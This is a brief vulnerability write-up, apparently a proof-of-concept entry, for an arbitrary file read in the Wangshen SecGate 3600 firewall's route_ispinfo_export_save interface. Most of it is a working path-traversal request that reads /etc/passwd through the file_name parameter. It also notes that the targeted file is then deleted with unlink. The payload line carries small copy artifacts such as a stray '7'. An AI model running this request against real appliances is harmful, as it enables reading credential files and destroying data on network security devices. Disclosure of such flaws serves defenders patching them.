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Wangshen SecGate 3600 firewall
route_ispinfo_export_save interface

arbitrary file reading

Company. Wangshen Information Technology (Beijing) Co., Ltd.
official website: https://www.legendsec.com/

product: https://www.legendsec.com/newsec.php?up=2&cid=415
Affected version:

Vulnerability POC

1 https://IP/?

g=route_ispinfo_export_save&file_name=../../../../../7../../../etc/pa
sswd

I modules/route/ispinfo.mds

The file_name parameter is user-controllable, the fread function causes a file reading

vulnerability, and unlink will eventually delete the file
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